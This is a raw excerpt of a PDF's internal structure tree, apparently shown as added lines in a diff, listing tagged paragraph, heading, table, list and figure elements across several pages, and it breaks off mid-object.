+/S /P +/Type /StructElem +>> +endobj +782 0 obj +<< +/K [34] +/P 85 0 R +/Pg 31 0 R +/S /H3 +/Type /StructElem +>> +endobj +783 0 obj +<< +/K [35] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +784 0 obj +<< +/K [36] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +785 0 obj +<< +/K [37] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +786 0 obj +<< +/K [38] +/P 85 0 R +/Pg 31 0 R +/S /H3 +/Type /StructElem +>> +endobj +787 0 obj +<< +/K [39] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +788 0 obj +<< +/K [40] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +789 0 obj +<< +/K [41] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +790 0 obj +<< +/K [42] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +791 0 obj +<< +/K [43] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +792 0 obj +<< +/K [0] +/P 85 0 R +/Pg 32 0 R +/S /H3 +/Type /StructElem +>> +endobj +793 0 obj +<< +/K [1] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +794 0 obj +<< +/K [1736 0 R 1737 0 R 1776 0 R 1739 0 R 1777 0 R 1741 0 R] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +795 0 obj +<< +/K [8] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +796 0 obj +<< +/K [9] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +797 0 obj +<< +/K [10] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +798 0 obj +<< +/K [11] +/P 85 0 R +/Pg 32 0 R +/S /H2 +/Type /StructElem +>> +endobj +799 0 obj +<< +/K [12] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +800 0 obj +<< +/K [1742 0 R 1778 0 R 1744 0 R 1779 0 R 1746 0 R] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +801 0 obj +<< +/K [18] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +802 0 obj +<< +/K [19] +/P 85 0 R +/Pg 32 0 R +/S /H3 +/Type /StructElem +>> +endobj +803 0 obj +<< +/K [20] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +804 0 obj +<< +/K [21] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +805 0 obj +<< +/K [1747 0 R 1780 0 R 1749 0 R 1781 0 R 1751 0 R] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +806 0 obj +<< +/A 4221 0 R +/K [4222 0 R 4223 0 R 4224 0 R 4225 0 R 4226 0 R 4227 0 R 4228 0 R 4229 0 R 4230 0 R 4231 0 R] +/P 85 0 R +/Pg 32 0 R +/S /L +/Type /StructElem +>> +endobj +807 0 obj +<< +/K [37] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +808 0 obj +<< +/K [38] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +809 0 obj +<< +/K [39] +/P 85 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +810 0 obj +<< +/K [4232 0 R 4233 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +811 0 obj +<< +/K [4234 0 R 4235 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +812 0 obj +<< +/K [12] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +813 0 obj +<< +/K [13] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +814 0 obj +<< +/K [14] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +815 0 obj +<< +/K [15] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +816 0 obj +<< +/K [16] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +817 0 obj +<< +/K [17] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +818 0 obj +<< +/K [18] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +819 0 obj +<< +/K [19] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +820 0 obj +<< +/K [20] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +821 0 obj +<< +/K [21] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +822 0 obj +<< +/K [22] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +823 0 obj +<< +/K [4236 0 R 4237 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +824 0 obj +<< +/K [29] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +825 0 obj +<< +/K [30] +/P 85 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +826 0 obj +<< +/K [0] +/P 85 0 R +/Pg 34 0 R +/S /H3 +/Type /StructElem +>> +endobj +827 0 obj +<< +/K [1] +/P 85 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +828 0 obj +<< +/K [4238 0 R 4239 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +829 0 obj +<< +/K [4240 0 R 4241 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +830 0 obj +<< +/K [4242 0 R 4243 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +831 0 obj +<< +/K [4244 0 R 4245 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +832 0 obj +<< +/K [4246 0 R 4247 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +833 0 obj +<< +/K [4248 0 R 4249 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +834 0 obj +<< +/K [128] +/P 85 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +835 0 obj +<< +/K [0] +/P 85 0 R +/Pg 40 0 R +/S /H2 +/Type /StructElem +>> +endobj +836 0 obj +<< +/K [1] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +837 0 obj +<< +/K [2300 0 R 2335 0 R 2302 0 R] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +838 0 obj +<< +/K [5] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +839 0 obj +<< +/K [6] +/P 85 0 R +/Pg 40 0 R +/S /H3 +/Type /StructElem +>> +endobj +840 0 obj +<< +/K [7] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +841 0 obj +<< +/K [8] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +842 0 obj +<< +/K [9] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +843 0 obj +<< +/K [10] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +844 0 obj +<< +/K [4250 0 R 4251 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +845 0 obj +<< +/K [47] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +846 0 obj +<< +/K [48] +/P 85 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +847 0 obj +<< +/K [0] +/P 85 0 R +/Pg 41 0 R +/S /H3 +/Type /StructElem +>> +endobj +848 0 obj +<< +/K [1] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +849 0 obj +<< +/K [2] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +850 0 obj +<< +/K [3] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +851 0 obj +<< +/A 4252 0 R +/K [4253 0 R] +/P 85 0 R +/Pg 41 0 R +/S /L +/Type /StructElem +>> +endobj +852 0 obj +<< +/K [2337 0 R 2348 0 R 2339 0 R 2349 0 R 2341 0 R] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +853 0 obj +<< +/K [10] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +854 0 obj +<< +/A 4254 0 R +/K [4255 0 R] +/P 85 0 R +/Pg 41 0 R +/S /L +/Type /StructElem +>> +endobj +855 0 obj +<< +/K [12] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +856 0 obj +<< +/K [13] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +857 0 obj +<< +/K [14] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +858 0 obj +<< +/K [15] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +859 0 obj +<< +/K [16] +/P 85 0 R +/Pg 41 0 R +/S /H3 +/Type /StructElem +>> +endobj +860 0 obj +<< +/K [17] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +861 0 obj +<< +/K [18] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +862 0 obj +<< +/A 4256 0 R +/K [4257 0 R 4258 0 R] +/P 85 0 R +/Pg 41 0 R +/S /L +/Type /StructElem +>> +endobj +863 0 obj +<< +/K [23] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +864 0 obj +<< +/K [2345 0 R 2350 0 R 2347 0 R] +/P 85 0 R +/Pg 41 0 R +/S /P +/Type /StructElem +>> +endobj +865 0 obj +<< +/K [2351 0 R 2363 0 R 2353 0 R] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +866 0 obj +<< +/K [2354 0 R 2364 0 R 2356 0 R] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +867 0 obj +<< +/K [6] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +868 0 obj +<< +/K [7] +/P 85 0 R +/Pg 42 0 R +/S /H3 +/Type /StructElem +>> +endobj +869 0 obj +<< +/K [8] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +870 0 obj +<< +/K [9] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +871 0 obj +<< +/K [10] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +872 0 obj +<< +/K [11] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +873 0 obj +<< +/A 4259 0 R +/K [4260 0 R 4261 0 R 4262 0 R] +/P 85 0 R +/Pg 42 0 R +/S /L +/Type /StructElem +>> +endobj +874 0 obj +<< +/K [19] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +875 0 obj +<< +/K [20] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +876 0 obj +<< +/K [21] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +877 0 obj +<< +/K [2360 0 R 2365 0 R 2362 0 R] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +878 0 obj +<< +/K [25] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +879 0 obj +<< +/K [26] +/P 85 0 R +/Pg 42 0 R +/S /H2 +/Type /StructElem +>> +endobj +880 0 obj +<< +/K [27] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +881 0 obj +<< +/K [28] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +882 0 obj +<< +/K [29] +/P 85 0 R +/Pg 42 0 R +/S /P +/Type /StructElem +>> +endobj +883 0 obj +<< +/K [4263 0 R 4264 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +884 0 obj +<< +/K [16] +/P 85 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +885 0 obj +<< +/K [17] +/P 85 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +886 0 obj +<< +/A 4265 0 R +/K [4266 0 R 4267 0 R 4268 0 R 4269 0 R] +/P 85 0 R +/Pg 43 0 R +/S /L +/Type /StructElem +>> +endobj +887 0 obj +<< +/K [22] +/P 85 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +888 0 obj +<< +/K [25] +/P 85 0 R +/Pg 43 0 R +/S /Figure +/Type /StructElem +>> +endobj +889 0 obj +<< +/K [23] +/P 85 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +890 0 obj +<< +/K [24] +/P 85 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +891 0 obj +<< +/K [2382 0 R 2383 0 R 2384 0 R] +/P 85 0 R +/Pg 44 0 R +/S /H1 +/Type /StructElem +>> +endobj +892 0 obj +<< +/K [3] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +893 0 obj +<< +/K [4] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +894 0 obj +<< +/K [5] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +895 0 obj +<< +/K [6] +/P 85 0 R +/Pg 44 0 R +/S /H2 +/Type /StructElem +>> +endobj +896 0 obj +<< +/K [7] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +897 0 obj +<< +/K [8] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +898 0 obj +<< +/K [9] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +899 0 obj +<< +/K [10] +/P 85 0 R +/Pg 44 0 R +/S /H2 +/Type /StructElem +>> +endobj +900 0 obj +<< +/K [11] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +901 0 obj +<< +/K [12] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +902 0 obj +<< +/K [13] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +903 0 obj +<< +/K [14] +/P 85 0 R +/Pg 44 0 R +/S /H2 +/Type /StructElem +>> +endobj +904 0 obj +<< +/K [15] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +905 0 obj +<< +/K [16] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +906 0 obj +<< +/K [17] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +907 0 obj +<< +/K [18] +/P 85 0 R +/Pg 44 0 R +/S /H2 +/Type /StructElem +>> +endobj +908 0 obj +<< +/K [19] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +909 0 obj +<< +/K [20] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +910 0 obj +<< +/K [21] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +911 0 obj +<< +/K [25] +/P 85 0 R +/Pg 44 0 R +/S /Figure +/Type /StructElem +>> +endobj +912 0 obj +<< +/K [22] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +913 0 obj +<< +/K [23] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +914 0 obj +<< +/K [24] +/P 85 0 R +/Pg 44 0 R +/S /P +/Type /StructElem +>> +endobj +915 0 obj +<< +/K [0] +/P 85 0 R +/Pg 45 0 R +/S /H3 +/Type /StructElem +>> +endobj +916 0 obj +<< +/K [1] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +917 0 obj +<< +/K [2] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +918 0 obj +<< +/K [2385 0 R 2393 0 R 2387 0 R 2394 0 R 2389 0 R] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +919 0 obj +<< +/K [8] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +920 0 obj +<< +/K [9] +/P 85 0 R +/Pg 45 0 R +/S /H3 +/Type /StructElem +>> +endobj +921 0 obj +<< +/K [10] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +922 0 obj +<< +/K [11] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +923 0 obj +<< +/K [2390 0 R 2395 0 R 2392 0 R] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +924 0 obj +<< +/K [15] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +925 0 obj +<< +/K [16] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +926 0 obj +<< +/K [19] +/P 85 0 R +/Pg 45 0 R +/S /Figure +/Type /StructElem +>> +endobj +927 0 obj +<< +/K [17] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +928 0 obj +<< +/K [18] +/P 85 0 R +/Pg 45 0 R +/S /P +/Type /StructElem +>> +endobj +929 0 obj +<< +/K [2396 0 R 2397 0 R 2398 0 R] +/P 85 0 R +/Pg 46 0 R +/S /H1 +/Type /StructElem +>> +endobj +930 0 obj +<< +/K [3] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +931 0 obj +<< +/K [4] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +932 0 obj +<< +/K [5] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +933 0 obj +<< +/K [6] +/P 85 0 R +/Pg 46 0 R +/S /H2 +/Type /StructElem +>> +endobj +934 0 obj +<< +/K [7] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +935 0 obj +<< +/K [8] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +936 0 obj +<< +/A 4270 0 R +/K [4271 0 R 4272 0 R 4273 0 R 4274 0 R] +/P 85 0 R +/Pg 46 0 R +/S /L +/Type /StructElem +>> +endobj +937 0 obj +<< +/K [17] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +938 0 obj +<< +/K [18] +/P 85 0 R +/Pg 46 0 R +/S /H2 +/Type /StructElem +>> +endobj +939 0 obj +<< +/K [19] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +940 0 obj +<< +/K [20] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +941 0 obj +<< +/A 4275 0 R +/K [4276 0 R 4277 0 R 4278 0 R] +/P 85 0 R +/Pg 46 0 R +/S /L +/Type /StructElem +>> +endobj +942 0 obj +<< +/K [24] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +943 0 obj +<< +/K [25] +/P 85 0 R +/Pg 46 0 R +/S /P +/Type /StructElem +>> +endobj +944 0 obj +<< +/K [2412 0 R 2413 0 R 2414 0 R] +/P 85 0 R +/Pg 47 0 R +/S /H1 +/Type /StructElem +>> +endobj +945 0 obj +<< +/K [3] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +946 0 obj +<< +/K [4] +/P 85 0 R +/Pg 47 0 R +/S /H2 +/Type /StructElem +>> +endobj +947 0 obj +<< +/K [5] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +948 0 obj +<< +/K [6] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +949 0 obj +<< +/K [7] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +950 0 obj +<< +/K [8] +/P 85 0 R +/Pg 47 0 R +/S /H2 +/Type /StructElem +>> +endobj +951 0 obj +<< +/K [9] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +952 0 obj +<< +/K [10] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +953 0 obj +<< +/K [11] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +954 0 obj +<< +/K [2415 0 R 2423 0 R 2417 0 R] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +955 0 obj +<< +/K [15] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +956 0 obj +<< +/K [16] +/P 85 0 R +/Pg 47 0 R +/S /H2 +/Type /StructElem +>> +endobj +957 0 obj +<< +/K [17] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +958 0 obj +<< +/K [18] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +959 0 obj +<< +/A 4279 0 R +/K [4280 0 R 4281 0 R 4282 0 R] +/P 85 0 R +/Pg 47 0 R +/S /L +/Type /StructElem +>> +endobj +960 0 obj +<< +/K [22] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +961 0 obj +<< +/K [23] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +962 0 obj +<< +/A 4283 0 R +/K [4284 0 R 4285 0 R] +/P 85 0 R +/Pg 47 0 R +/S /L +/Type /StructElem +>> +endobj +963 0 obj +<< +/K [26] +/P 85 0 R +/Pg 47 0 R +/S /P +/Type /StructElem +>> +endobj +964 0 obj +<< +/K [2424 0 R 2425 0 R 2426 0 R 2427 0 R 2428 0 R] +/P 85 0 R +/Pg 48 0 R +/S /H1 +/Type /StructElem +>> +endobj +965 0 obj +<< +/K [5] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +966 0 obj +<< +/K [2429 0 R 2430 0 R 2454 0 R 2432 0 R 2433 0 R] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +967 0 obj +<< +/K [11] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +968 0 obj +<< +/K [4286 0 R 4287 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +969 0 obj +<< +/K [32] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +970 0 obj +<< +/K [33] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +971 0 obj +<< +/K [36] +/P 85 0 R +/Pg 48 0 R +/S /Figure +/Type /StructElem +>> +endobj +972 0 obj +<< +/K [34] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +973 0 obj +<< +/K [35] +/P 85 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +974 0 obj +<< +/K [0] +/P 85 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +975 0 obj +<< +/K [4288 0 R 4289 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +976 0 obj +<< +/K [4290 0 R 4291 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +977 0 obj +<< +/K [20] +/P 85 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +978 0 obj +<< +/K [21] +/P 85 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +979 0 obj +<< +/K [24] +/P 85 0 R +/Pg 50 0 R +/S /Figure +/Type /StructElem +>> +endobj +980 0 obj +<< +/K [22] +/P 85 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +981 0 obj +<< +/K [23] +/P 85 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +982 0 obj +<< +/K [0] +/P 85 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +983 0 obj +<< +/K [4292 0 R 4293 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +984 0 obj +<< +/K [4294 0 R 4295 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +985 0 obj +<< +/K [19] +/P 85 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +986 0 obj +<< +/K [20] +/P 85 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +987 0 obj +<< +/K [22] +/P 85 0 R +/Pg 52 0 R +/S /Figure +/Type /StructElem +>> +endobj +988 0 obj +<< +/K [21] +/P 85 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +989 0 obj +<< +/K [0] +/P 85 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +990 0 obj +<< +/K [4296 0 R 4297 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +991 0 obj +<< +/K [4298 0 R 4299 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +992 0 obj +<< +/K [20] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +993 0 obj +<< +/K [21] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +994 0 obj +<< +/K [62] +/P 85 0 R +/Pg 54 0 R +/S /Figure +/Type /StructElem +>> +endobj +995 0 obj +<< +/K [22] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +996 0 obj +<< +/K [23] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +997 0 obj +<< +/K [24] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +998 0 obj +<< +/K [25] +/P 85 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +999 0 obj +<< +/K [4300 0 R 4301 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1000 0 obj +<< +/K [4302 0 R 4303 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1001 0 obj +<< +/K [108] +/P 85 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +1002 0 obj +<< +/K [109] +/P 85 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +1003 0 obj +<< +/K [0] +/P 85 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +1004 0 obj +<< +/K [66] +/P 85 0 R +/Pg 56 0 R +/S /Figure +/Type /StructElem +>> +endobj +1005 0 obj +<< +/K [1] +/P 85 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +1006 0 obj +<< +/K [2] +/P 85 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +1007 0 obj +<< +/K [3] +/P 85 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +1008 0 obj +<< +/K [4304 0 R 4305 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1009 0 obj +<< +/K [4306 0 R 4307 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1010 0 obj +<< +/K [82] +/P 85 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +1011 0 obj +<< +/K [0] +/P 85 0 R +/Pg 58 0 R +/S /P +/Type /StructElem +>> +endobj +1012 0 obj +<< +/K [3] +/P 85 0 R +/Pg 58 0 R +/S /Figure +/Type /StructElem +>> +endobj +1013 0 obj +<< +/K [1] +/P 85 0 R +/Pg 58 0 R +/S /P +/Type /StructElem +>> +endobj +1014 0 obj +<< +/K [2] +/P 85 0 R +/Pg 58 0 R +/S /P +/Type /StructElem +>> +endobj +1015 0 obj +<< +/K [2885 0 R 2886 0 R 2887 0 R 2888 0 R 2889 0 R] +/P 85 0 R +/Pg 59 0 R +/S /H1 +/Type /StructElem +>> +endobj +1016 0 obj +<< +/K [5] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1017 0 obj +<< +/K [6] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1018 0 obj +<< +/K [7] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1019 0 obj +<< +/K [8] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1020 0 obj +<< +/K [9] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1021 0 obj +<< +/K [10] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1022 0 obj +<< +/K [11] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1023 0 obj +<< +/K [12] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1024 0 obj +<< +/K [15] +/P 85 0 R +/Pg 59 0 R +/S /Figure +/Type /StructElem +>> +endobj +1025 0 obj +<< +/K [13] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1026 0 obj +<< +/K [14] +/P 85 0 R +/Pg 59 0 R +/S /P +/Type /StructElem +>> +endobj +1027 0 obj +<< +/K [0] +/P 85 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +1028 0 obj +<< +/K [1] +/P 85 0 R +/Pg 60 0 